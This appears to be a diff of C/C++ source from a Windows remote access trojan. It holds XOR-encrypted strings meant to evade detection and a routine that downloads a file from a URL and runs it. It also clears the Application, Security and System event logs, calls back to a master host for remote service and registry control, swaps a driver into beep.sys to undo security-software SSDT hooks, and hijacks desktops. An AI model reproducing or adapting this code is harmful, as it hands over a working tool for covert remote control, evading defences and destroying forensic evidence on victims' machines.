char c_lpDesktop[] = "WinSta0\\Default";
si.lpDesktop = TEXT("WinSta0\\Default");
CreateProcess(NULL, lpFileName, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
return true;
}
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>urldowntofile<6C>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E1BFA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
bool UpdateServer(LPCTSTR lpURL)
{
char *lpFileName = NULL;
lpFileName = (char *)(strrchr(lpURL, '/') + 1);
if (lpFileName == NULL)
return false;
if (!http_get(lpURL, lpFileName))
return false;
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
si.cb = sizeof si;
//strcry
char WinSta0[] = { 0x0f,0x9c,0xa3,0xa7,0x9b,0xb3,0xa7,0xf5,0x98,0x87,0xa7,0xa7,0xa1,0xca,0xd2,0xc9 }; //WinSta0\Default
char* pWinSta0 = decodeStr(WinSta0); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
//si.lpDesktop = "WinSta0\\Default";
si.lpDesktop = pWinSta0;
bool trueOrFales = CreateProcess(lpFileName, "CcRmt Update", NULL, NULL, false, 0, NULL, NULL, &si, &pi);
memset(pWinSta0, 0, WinSta0[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pWinSta0;
return trueOrFales;
}
bool OpenURL(LPCTSTR lpszURL, INT nShowCmd)
{
if (strlen(lpszURL) == 0)
return false;
// System Ȩ<><C8A8><EFBFBD>²<EFBFBD><C2B2><EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>shellexecute<74><65>ִ<EFBFBD><D6B4>
//Applications\\iexplore.exe\\shell\\open\\command
char Applications[] = { 0x2c,0x8a,0xba,0xb9,0xa4,0xae,
0xa5,0xa4,0xb0,0xaa,0xad,0xaf,0xb3,0xe3,0xd7,0xd8,
0xc4,0xcb,0xd6,0xd6,0xca,0xd2,0x98,0xd0,0xcc,0xd6,
0xee,0xc2,0xd8,0xca,0xc2,0xc1,0xf0,0xc4,0xda,0xcc,
0xc6,0xfb,0xc5,0xca,0xc9,0xce,0xc3,0xcf,0xc4 };
char* pApplications = decodeStr(Applications); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
char *lpSubKey = pApplications;
HKEY hKey;
char strIEPath[MAX_PATH];
LONG nSize = sizeof(strIEPath);
char *lpstrCat = NULL;
memset(strIEPath, 0, sizeof(strIEPath));
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, "Applications\\iexplore.exe\\shell\\open\\command", 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
{
memset(pApplications, 0, Applications[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pApplications;
return false;
}
memset(pApplications, 0, Applications[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pApplications;
RegQueryValue(hKey, NULL, strIEPath, &nSize);
RegCloseKey(hKey);
if (lstrlen(strIEPath) == 0)
return false;
lpstrCat = strstr(strIEPath, "%1");
if (lpstrCat == NULL)
return false;
lstrcpy(lpstrCat, lpszURL);
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
si.cb = sizeof si;
//strcry
char WinSta0[] = { 0x0f,0x9c,0xa3,0xa7,0x9b,0xb3,0xa7,0xf5,0x98,0x87,0xa7,0xa7,0xa1,0xca,0xd2,0xc9 }; //WinSta0\Default
char* pWinSta0 = decodeStr(WinSta0); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
if (nShowCmd != SW_HIDE)
si.lpDesktop = pWinSta0;
CreateProcess(NULL, strIEPath, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
memset(pWinSta0, 0, WinSta0[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pWinSta0;
return 0;
}
void CleanEvent()
{
//strcry Application Security System
char Application[] = { 0x0b,0x8a,0xba,0xb9,0xa4,0xae,0xa5,0xa4,0xb0,0xaa,0xad,0xaf };
char Security[] = { 0x08,0x98,0xaf,0xaa,0xbd,0xb5,0xaf,0xb1,0xbd };
char System[] = { 0x98,0xb3,0xba,0xbc,0xa2,0xab };
char *strEventName[3];
strEventName [0] = decodeStr(Application);
strEventName [1] = decodeStr(Security);
strEventName [2] = decodeStr(System);
for (int i = 0; i < sizeof(strEventName) / sizeof(int); i++)
{
HANDLE hHandle = OpenEventLog(NULL, strEventName[i]);
if (hHandle == NULL)
continue;
ClearEventLog(hHandle, NULL);
CloseEventLog(hHandle);
}
memset(strEventName[0], 0, Application[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete strEventName[0];
memset(strEventName[1], 0, Security[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete strEventName[1];
memset(strEventName[2], 0, System[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete strEventName[2];
}
void SetHostID(LPCTSTR lpServiceName, LPCTSTR lpHostID)
{
char strSubKey[1024];
memset(strSubKey, 0, sizeof(strSubKey));
//strcry SYSTEM\CurrentControlSet\Services\%s
char Services[] = { 0x24,0x98,0x93,0x9a,0x9c,0x82,0x8b,
0x99,0x87,0xb6,0xb0,0xb3,0xa5,0xd1,0xca,0xfe,0xd3,
0xd5,0xce,0xcb,0xd7,0xdb,0xe5,0xd0,0xc0,0xef,0xe1,
0xd4,0xc2,0xd9,0xc7,0xce,0xc9,0xd8,0xf6,0x8c,0xdb }; //WinSta0\Default
char* pServices = decodeStr(Services); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
//wsprintf(strSubKey, "SYSTEM\CurrentControlSet\Services\%s", lpServiceName);
wsprintf(strSubKey, pServices, lpServiceName);
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Host", REG_SZ, (char *)lpHostID, lstrlen(lpHostID), 0);
memset(pServices, 0, Services[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pServices;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
DWORD WINAPI Loop_ServicesManager(SOCKET sRemote)
{
//OutputDebugString("DWORD WINAPI Loop_ServicesManager(SOCKET sRemote)");
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CServerManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
// ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
DWORD WINAPI Loop_RegeditManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CRegManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
#endif // !defined(AFX_LOOP_H_INCLUDED)

View File

@@ -0,0 +1,436 @@
#include <windows.h>
#include <shlwapi.h>
#include <winioctl.h>
#include "resource.h"
#define IOCTL_SETPROC (ULONG)CTL_CODE( FILE_DEVICE_UNKNOWN, 0x852, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA )
#define RVATOVA(base,offset) ((PVOID)((DWORD)(base)+(DWORD)(offset)))
#define ibaseDD *(PDWORD)&ibase
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
typedef struct {
WORD offset:12;
WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
typedef LONG NTSTATUS;
typedef NTSTATUS (WINAPI *PFNNtQuerySystemInformation)(
DWORD SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef struct _SYSTEM_MODULE_INFORMATION {//Information Class 11
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
}SYSTEM_MODULE_INFORMATION,*PSYSTEM_MODULE_INFORMATION;
typedef struct {
DWORD dwNumberOfModules;
SYSTEM_MODULE_INFORMATION smi;
} MODULES, *PMODULES;
//----------------------------------------------------------------
// stuff not found in header files
//----------------------------------------------------------------
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
#ifdef MIDL_PASS
[size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer;
#else // MIDL_PASS
PWSTR Buffer;
#endif // MIDL_PASS
} UNICODE_STRING, *PUNICODE_STRING;
typedef long NTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
typedef
NTSTATUS
(__stdcall *ZWSETSYSTEMINFORMATION)(
DWORD SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength
);
typedef
VOID
(__stdcall *RTLINITUNICODESTRING)(
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);
ZWSETSYSTEMINFORMATION ZwSetSystemInformation;
RTLINITUNICODESTRING RtlInitUnicodeString;
typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE
{
UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE;
#define SystemLoadAndCallImage 38
char g_strService[10]; // "Beep"
char g_strBeepSys[MAX_PATH]; // "c:\\windows\\system32\\Drivers\\beep.sys"
LPBYTE g_lpBeepSys = NULL;
DWORD g_dwBeepLen = 0;
BOOL ModifyFromResource(HMODULE hModule, WORD wResourceID, LPCTSTR lpType, LPCTSTR lpFileName)
{
HGLOBAL hRes;
HRSRC hResInfo;
HANDLE hFile;
DWORD dwBytes = 0;
hResInfo = FindResource(hModule, MAKEINTRESOURCE(wResourceID), lpType);
if (hResInfo == NULL)
return FALSE;
hRes = LoadResource(hModule, hResInfo);
if (hRes == NULL)
return FALSE;
hFile = CreateFile
(
lpFileName,
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
TRUNCATE_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == NULL)
return FALSE;
WriteFile(hFile, hRes, SizeofResource(hModule, hResInfo), &dwBytes, NULL);
CloseHandle(hFile);
return TRUE;
}
BOOL SetProc( IN HANDLE hDriver, IN ULONG ulIndex, IN PULONG buf )
{
if ( NULL == buf )
{
return FALSE;
}
DWORD dwReturned;
BOOL bRet = DeviceIoControl( hDriver, IOCTL_SETPROC, &ulIndex,sizeof( ULONG ), buf, sizeof( ULONG ), &dwReturned, NULL );
return bRet && ERROR_SUCCESS == GetLastError();
}
DWORD GetHeaders(PCHAR ibase,
PIMAGE_FILE_HEADER *pfh,
PIMAGE_OPTIONAL_HEADER *poh,
PIMAGE_SECTION_HEADER *psh)
{
PIMAGE_DOS_HEADER mzhead=(PIMAGE_DOS_HEADER)ibase;
if ((mzhead->e_magic!=IMAGE_DOS_SIGNATURE) ||
(ibaseDD[mzhead->e_lfanew]!=IMAGE_NT_SIGNATURE))
return FALSE;
*pfh=(PIMAGE_FILE_HEADER)&ibase[mzhead->e_lfanew];
if (((PIMAGE_NT_HEADERS)*pfh)->Signature!=IMAGE_NT_SIGNATURE)
return FALSE;
*pfh=(PIMAGE_FILE_HEADER)((PBYTE)*pfh+sizeof(IMAGE_NT_SIGNATURE));
*poh=(PIMAGE_OPTIONAL_HEADER)((PBYTE)*pfh+sizeof(IMAGE_FILE_HEADER));
if ((*poh)->Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC)
return FALSE;
*psh=(PIMAGE_SECTION_HEADER)((PBYTE)*poh+sizeof(IMAGE_OPTIONAL_HEADER));
return TRUE;
}
DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT)
{
PIMAGE_FILE_HEADER pfh;
PIMAGE_OPTIONAL_HEADER poh;
PIMAGE_SECTION_HEADER psh;
PIMAGE_BASE_RELOCATION pbr;
PIMAGE_FIXUP_ENTRY pfe;
DWORD dwFixups=0,i,dwPointerRva,dwPointsToRva,dwKiServiceTable;
BOOL bFirstChunk;
GetHeaders((PCHAR)hModule,&pfh,&poh,&psh);
// loop thru relocs to speed up the search
if ((poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) &&
(!((pfh->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED))) {
pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hModule);
bFirstChunk=TRUE;
// 1st IMAGE_BASE_RELOCATION.VirtualAddress of ntoskrnl is 0
while (bFirstChunk || pbr->VirtualAddress) {
bFirstChunk=FALSE;
pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));
for (i=0;i<(pbr->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))>>1;i++,pfe++) {
if (pfe->type==IMAGE_REL_BASED_HIGHLOW) {
dwFixups++;
dwPointerRva=pbr->VirtualAddress+pfe->offset;
// DONT_RESOLVE_DLL_REFERENCES flag means relocs aren't fixed
dwPointsToRva=*(PDWORD)((DWORD)hModule+dwPointerRva)-(DWORD)poh->ImageBase;
// does this reloc point to KeServiceDescriptorTable.Base?
if (dwPointsToRva==dwKSDT) {
// check for mov [mem32],imm32. we are trying to find
// "mov ds:_KeServiceDescriptorTable.Base, offset _KiServiceTable"
// from the KiInitSystem.
if (*(PWORD)((DWORD)hModule+dwPointerRva-2)==0x05c7) {
// should check for a reloc presence on KiServiceTable here
// but forget it
dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointerRva+4)-poh->ImageBase;
return dwKiServiceTable;
}
}
} else
if (pfe->type!=IMAGE_REL_BASED_ABSOLUTE)
{
// should never get here
// printf("\trelo type %d found at .%X\n",pfe->type,pbr->VirtualAddress+pfe->offset);
}
}
*(PDWORD)&pbr+=pbr->SizeOfBlock;
}
}
//if (!dwFixups)
// should never happen - nt, 2k, xp kernels have relocation data
// printf("No fixups!\n");
return 0;
}
void ReSSDT( IN HANDLE hDriver)
{
HMODULE hKernel;
DWORD dwKSDT; // rva of KeServiceDescriptorTable
DWORD dwKiServiceTable; // rva of KiServiceTable
PMODULES pModules=(PMODULES)&pModules;
DWORD dwNeededSize,rc;
DWORD dwKernelBase,dwServices=0;
PCHAR pKernelName;
PDWORD pService;
PIMAGE_FILE_HEADER pfh;
PIMAGE_OPTIONAL_HEADER poh;
PIMAGE_SECTION_HEADER psh;
FARPROC NtQuerySystemInformationAddr=GetProcAddress(GetModuleHandle("ntdll.dll"),"NtQuerySystemInformation");
// get system modules - ntoskrnl is always first there
rc=((PFNNtQuerySystemInformation)NtQuerySystemInformationAddr)(11,pModules,4,&dwNeededSize);
if (rc==STATUS_INFO_LENGTH_MISMATCH) {
pModules=(MODULES *)GlobalAlloc(GPTR,dwNeededSize);
rc=((PFNNtQuerySystemInformation)NtQuerySystemInformationAddr)(11,pModules,dwNeededSize,NULL);
} else {
strange:
return;
}
if (!NT_SUCCESS(rc)) goto strange;
// imagebase
dwKernelBase=(DWORD)pModules->smi.Base;
// filename - it may be renamed in the boot.ini
pKernelName=pModules->smi.ModuleNameOffset+pModules->smi.ImageName;
// map ntoskrnl - hopefully it has relocs
hKernel=LoadLibraryEx(pKernelName,0,DONT_RESOLVE_DLL_REFERENCES);
if (!hKernel) {
return;
}
GlobalFree(pModules);
// our own export walker is useless here - we have GetProcAddress :)
if (!(dwKSDT=(DWORD)GetProcAddress(hKernel,"KeServiceDescriptorTable"))) {
return;
}
// get KeServiceDescriptorTable rva
dwKSDT-=(DWORD)hKernel;
// find KiServiceTable
if (!(dwKiServiceTable=FindKiServiceTable(hKernel,dwKSDT))) {
return;
}
// let's dump KiServiceTable contents
// MAY FAIL!!!
// should get right ServiceLimit here, but this is trivial in the kernel mode
GetHeaders((PCHAR)hKernel,&pfh,&poh,&psh);
for (pService=(PDWORD)((DWORD)hKernel+dwKiServiceTable);
*pService-poh->ImageBase<poh->SizeOfImage;
pService++,dwServices++)
{
ULONG ulAddr=*pService-poh->ImageBase+dwKernelBase;
SetProc( hDriver,dwServices, &ulAddr );
}
FreeLibrary(hKernel);
}
void StopService(LPCTSTR lpServiceName)
{
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
if ( NULL != hSCManager )
{
SC_HANDLE hService = OpenService(hSCManager, lpServiceName, DELETE | SERVICE_STOP);
if ( NULL != hService )
{
SERVICE_STATUS ss;
ControlService( hService, SERVICE_CONTROL_STOP, &ss);
CloseServiceHandle( hService );
}
CloseServiceHandle( hSCManager );
}
}
void StartService(LPCTSTR lpService)
{
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
if ( NULL != hSCManager )
{
SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);
if ( NULL != hService )
{
StartService(hService, 0, NULL);
CloseServiceHandle( hService );
}
CloseServiceHandle( hSCManager );
}
}
LPBYTE FileToBuffer(LPCTSTR lpFileName, LPDWORD lpdwLength)
{
if (lpdwLength == NULL)
return NULL;
DWORD dwBytesRead = 0;
HANDLE hFile = CreateFile(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
return NULL;
*lpdwLength = GetFileSize(hFile, NULL);
if (*lpdwLength == 0)
return NULL;
LPBYTE lpBuffer = new BYTE[*lpdwLength];
ReadFile(hFile, lpBuffer, *lpdwLength, &dwBytesRead, NULL);
CloseHandle(hFile);
return lpBuffer;
}
HANDLE LoadDriver(HMODULE hModule)
{
g_strService[0] = 'B';
g_strService[1] = 'e';
g_strService[2] = 'e';
g_strService[3] = 'p';
g_strService[4] = '\0';
char szSysPath[50]; // \\Drivers\\beep.sys
szSysPath[0] = '\\';
szSysPath[1] = 'D';
szSysPath[2] = 'r';
szSysPath[3] = 'i';
szSysPath[4] = 'v';
szSysPath[5] = 'e';
szSysPath[6] = 'r';
szSysPath[7] = 's';
szSysPath[8] = '\\';
szSysPath[9] = 'b';
szSysPath[10] = 'e';
szSysPath[11] = 'e';
szSysPath[12] = 'p';
szSysPath[13] = '.';
szSysPath[14] = 's';
szSysPath[15] = 'y';
szSysPath[16] = 's';
szSysPath[17] = '\0';
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>޸ĺ<DEB8><C4BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
StopService(g_strService);
GetSystemDirectory(g_strBeepSys, sizeof(g_strBeepSys));
lstrcat(g_strBeepSys, szSysPath);
// <20>п<EFBFBD><D0BF><EFBFBD>Ϊֻ<CEAA><D6BB>
SetFileAttributes(g_strBeepSys, FILE_ATTRIBUTE_NORMAL);
// <20><><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
g_lpBeepSys = FileToBuffer(g_strBeepSys, &g_dwBeepLen);
if (g_dwBeepLen == 0)
return NULL;
ModifyFromResource(hModule, IDR_SYS, "BIN", g_strBeepSys);
StartService(g_strService);
HANDLE hDriver = INVALID_HANDLE_VALUE;
hDriver = CreateFileA( "\\\\.\\RESSDTDOS",
GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL );
return hDriver;
}
void UnloadDriver( IN HANDLE hDriver )
{
CloseHandle(hDriver);
StopService(g_strService);
// <20>ָ<EFBFBD>beep.sys
DWORD dwBytes = 0;
HANDLE hFile = CreateFile
(
g_strBeepSys,
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
TRUNCATE_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == NULL)
return;
WriteFile(hFile, g_lpBeepSys, g_dwBeepLen, &dwBytes, NULL);
CloseHandle(hFile);
delete g_lpBeepSys;
StartService(g_strService);
}
bool RestoreSSDT(HMODULE hModule)
{
HANDLE hDriver = LoadDriver(hModule);
if (hDriver == INVALID_HANDLE_VALUE)
{
UnloadDriver(hDriver);
return false;
}
ReSSDT(hDriver);
UnloadDriver(hDriver);
return true;
}

View File

@@ -0,0 +1,366 @@
#include "..\pch.h"
#if !defined(AFX_UNTIL_CPP_INCLUDED)
#define AFX_UNTIL_CPP_INCLUDED
#include <windows.h>
#include <process.h>
#include <Tlhelp32.h>
#include <Wtsapi32.h>
#include <wininet.h>
#pragma comment(lib, "Wtsapi32.lib")
#include "until.h"
#include <string.h>
#include <stdio.h>
#include <locale.h>
#include <stdlib.h>
#include "..\StrCry.h"
unsigned int __stdcall ThreadLoader(LPVOID param)
{
unsigned int nRet = 0;
#ifdef _DLL
try
{
#endif
THREAD_ARGLIST arg;
memcpy(&arg, param, sizeof(arg));
SetEvent(arg.hEventTransferArg);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E6BDBB>
if (arg.bInteractive)
SelectDesktop(NULL);
nRet = arg.start_address(arg.arglist);
#ifdef _DLL
}catch(...){};
#endif
return nRet;
}
HANDLE MyCreateThread (LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
SIZE_T dwStackSize, // initial stack size
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
LPVOID lpParameter, // thread argument
DWORD dwCreationFlags, // creation option
LPDWORD lpThreadId, bool bInteractive)
{
HANDLE hThread = INVALID_HANDLE_VALUE;
THREAD_ARGLIST arg;
arg.start_address = (unsigned ( __stdcall *)( void * ))lpStartAddress;
arg.arglist = (void *)lpParameter;
arg.bInteractive = bInteractive;
arg.hEventTransferArg = CreateEvent(NULL, false, false, NULL);
hThread = (HANDLE)_beginthreadex((void *)lpThreadAttributes, dwStackSize, ThreadLoader, &arg, dwCreationFlags, (unsigned *)lpThreadId);
WaitForSingleObject(arg.hEventTransferArg, INFINITE);
CloseHandle(arg.hEventTransferArg);
return hThread;
}
DWORD GetProcessID(LPCTSTR lpProcessName)
{
DWORD RetProcessID = 0;
HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32* info=new PROCESSENTRY32;
info->dwSize=sizeof(PROCESSENTRY32);
if(Process32First(handle,info))
{
if (strcmpi(info->szExeFile,lpProcessName) == 0)
{
RetProcessID = info->th32ProcessID;
return RetProcessID;
}
while(Process32Next(handle,info) != FALSE)
{
if (lstrcmpi(info->szExeFile,lpProcessName) == 0)
{
RetProcessID = info->th32ProcessID;
return RetProcessID;
}
}
}
return RetProcessID;
}
char *GetLogUserXP()
{
TCHAR *szLogName = NULL;
DWORD dwSize = 0;
if (WTSQuerySessionInformation(WTS_CURRENT_SERVER_HANDLE, WTS_CURRENT_SESSION, WTSUserName, &szLogName, &dwSize))
{
char *lpUser = new char[256];
lstrcpy(lpUser, szLogName);
WTSFreeMemory(szLogName);
return lpUser;
}
else
return NULL;
}
char *GetLogUser2K()
{
char explorer[] = { 0x0c,0xae,0xb2,0xb9,0xa4,0xa8,0xb4,0xa0,0xb6,0xed,0xa7,0xb9,0xa5 }; //explorer.exe
char* explorer_exe = decodeStr(explorer); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
DWORD dwProcessID = GetProcessID(explorer_exe);
memset(explorer_exe, 0, explorer[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete explorer_exe;
if (dwProcessID == 0)
return NULL;
BOOL fResult = FALSE;
HANDLE hProc = NULL;
HANDLE hToken = NULL;
TOKEN_USER *pTokenUser = NULL;
char *lpUserName = NULL;
__try
{
// Open the process with PROCESS_QUERY_INFORMATION access
hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcessID);
if (hProc == NULL)
{
__leave;
}
fResult = OpenProcessToken(hProc, TOKEN_QUERY, &hToken);
if(!fResult)
{
__leave;
}
DWORD dwNeedLen = 0;
fResult = GetTokenInformation(hToken,TokenUser, NULL, 0, &dwNeedLen);
if (dwNeedLen > 0)
{
pTokenUser = (TOKEN_USER*)new BYTE[dwNeedLen];
fResult = GetTokenInformation(hToken,TokenUser, pTokenUser, dwNeedLen, &dwNeedLen);
if (!fResult)
{
__leave;
}
}
else
{
__leave;
}
SID_NAME_USE sn;
TCHAR szDomainName[MAX_PATH];
DWORD dwDmLen = MAX_PATH;
DWORD nNameLen = 256;
lpUserName = new char[256];
fResult = LookupAccountSid(NULL, pTokenUser->User.Sid, lpUserName, &nNameLen,
szDomainName, &dwDmLen, &sn);
}
__finally
{
if (hProc)
::CloseHandle(hProc);
if (hToken)
::CloseHandle(hToken);
if (pTokenUser)
delete[] (char*)pTokenUser;
return lpUserName;
}
}
char *GetCurrentLoginUser()
{
OSVERSIONINFOEX OsVerInfo;
ZeroMemory(&OsVerInfo, sizeof(OSVERSIONINFOEX));
OsVerInfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFOEX);
if(!GetVersionEx((OSVERSIONINFO *)&OsVerInfo))
{
OsVerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if(!GetVersionEx((OSVERSIONINFO *)&OsVerInfo))
return NULL;
}
if(OsVerInfo.dwMajorVersion == 5 && OsVerInfo.dwMinorVersion == 0)
return GetLogUser2K();
else
return GetLogUserXP();
}
bool SwitchInputDesktop()
{
BOOL bRet = false;
DWORD dwLengthNeeded;
HDESK hOldDesktop, hNewDesktop;
char strCurrentDesktop[256], strInputDesktop[256];
hOldDesktop = GetThreadDesktop(GetCurrentThreadId());
memset(strCurrentDesktop, 0, sizeof(strCurrentDesktop));
GetUserObjectInformation(hOldDesktop, UOI_NAME, &strCurrentDesktop, sizeof(strCurrentDesktop), &dwLengthNeeded);
hNewDesktop = OpenInputDesktop(0, FALSE, MAXIMUM_ALLOWED);
memset(strInputDesktop, 0, sizeof(strInputDesktop));
GetUserObjectInformation(hNewDesktop, UOI_NAME, &strInputDesktop, sizeof(strInputDesktop), &dwLengthNeeded);
if (lstrcmpi(strInputDesktop, strCurrentDesktop) != 0)
{
SetThreadDesktop(hNewDesktop);
bRet = true;
}
CloseDesktop(hOldDesktop);
CloseDesktop(hNewDesktop);
return bRet;
}
BOOL SelectHDESK(HDESK new_desktop)
{
HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
DWORD dummy;
char new_name[256];
if (!GetUserObjectInformation(new_desktop, UOI_NAME, &new_name, 256, &dummy)) {
return FALSE;
}
// Switch the desktop
if(!SetThreadDesktop(new_desktop)) {
return FALSE;
}
// Switched successfully - destroy the old desktop
CloseDesktop(old_desktop);
return TRUE;
}
// - SelectDesktop(char *)
// Switches the current thread into a different desktop, by name
// Calling with a valid desktop name will place the thread in that desktop.
// Calling with a NULL name will place the thread in the current input desktop.
BOOL SelectDesktop(char *name)
{
HDESK desktop;
if (name != NULL)
{
// Attempt to open the named desktop
desktop = OpenDesktop(name, 0, FALSE,
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
}
else
{
// No, so open the input desktop
desktop = OpenInputDesktop(0, FALSE,
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
}
// Did we succeed?
if (desktop == NULL) {
return FALSE;
}
// Switch to the new desktop
if (!SelectHDESK(desktop)) {
// Failed to enter the new desktop, so free it!
CloseDesktop(desktop);
return FALSE;
}
// We successfully switched desktops!
return TRUE;
}
BOOL SimulateCtrlAltDel()
{
HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
// Switch into the Winlogon desktop
char Winlogon[] = { 0x08,0x9c,0xa3,0xa7,0xa4,0xa8,0xa1,0xaa,0xaa }; //Winlogon
char* pWinlogon = decodeStr(Winlogon); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
//char name[] = "Winlogon";
if (!SelectDesktop(pWinlogon))
{
return FALSE;
}
memset(pWinlogon, 0, Winlogon[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pWinlogon;
// Fake a hotkey event to any windows we find there.... :(
// Winlogon uses hotkeys to trap Ctrl-Alt-Del...
PostMessage(HWND_BROADCAST, WM_HOTKEY, 0, MAKELONG(MOD_ALT | MOD_CONTROL, VK_DELETE));
// Switch back to our original desktop
if (old_desktop != NULL)
SelectHDESK(old_desktop);
return TRUE;
}
bool http_get(LPCTSTR szURL, LPCTSTR szFileName)
{
HINTERNET hInternet, hUrl;
HANDLE hFile;
char buffer[1024];
DWORD dwBytesRead = 0;
DWORD dwBytesWritten = 0;
BOOL bIsFirstPacket = true;
BOOL bRet = true;
//strcry
char Mozilla[] = { 0x18,0x86,0xa5,0xb3,0xa1,0xab,0xaa,0xa4,0xeb,0xf7,0xec,0xf1,0xe0,0x97,0xdd,0xd2,0xd1,0xcb,0xdb,0xcd,0xd1,0xd5,0xda,0xd0,0x9d }; //Mozilla/4.0 (compatible)
